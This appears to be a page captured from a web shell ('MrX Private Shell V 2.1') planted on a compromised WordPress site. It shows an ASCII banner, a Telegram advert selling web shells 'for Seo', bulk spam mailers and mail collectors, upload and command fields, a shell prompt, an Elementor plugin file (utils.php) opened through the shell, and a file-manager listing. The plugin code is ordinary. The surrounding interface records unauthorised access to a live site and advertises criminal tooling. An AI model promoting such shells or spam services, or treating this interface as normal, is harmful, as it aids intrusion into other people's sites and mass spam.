__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Elementor\Modules\AtomicWidgets\Utils;

use Elementor\Core\Base\Document;
use Elementor\Modules\AtomicWidgets\Elements\Atomic_Element_Base;
use Elementor\Modules\AtomicWidgets\Elements\Atomic_Widget_Base;
use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Utils {
	public static function is_atomic( $element_instance ): bool {
		return $element_instance instanceof Atomic_Element_Base ||
			$element_instance instanceof Atomic_Widget_Base;
	}

	public static function generate_id( string $prefix = '', $existing_ids = [] ): string {
		do {
			$generated = substr(
				bin2hex( random_bytes( 4 ) ),
				0,
				7
			);

			$id = "$prefix{$generated}";
		} while ( in_array( $id, $existing_ids, true ) );

		return $id;
	}

	public static function is_post_published( Document $document ): bool {
		return $document->get_post()->post_status === Document::STATUS_PUBLISH;
	}

	public static function traverse_post_elements( string $post_id, callable $callback ): void {
		$documents = Plugin::$instance->documents;
		$document = is_preview() ? $documents->get_doc_or_auto_save( $post_id, get_current_user_id() ) : $documents->get( $post_id );

		if ( ! $document ) {
			return;
		}

		$elements_data = $document->get_elements_data();

		if ( empty( $elements_data ) ) {
			return;
		}

		Plugin::$instance->db->iterate_data( $elements_data, function( $element_data ) use ( $callback ) {
			call_user_func( $callback, $element_data );
		} );
	}
}

Filemanager

Name Type Size Permission Actions
image Folder 0775
memo.php File 466 B 0664
utils.php File 1.47 KB 0664
Filemanager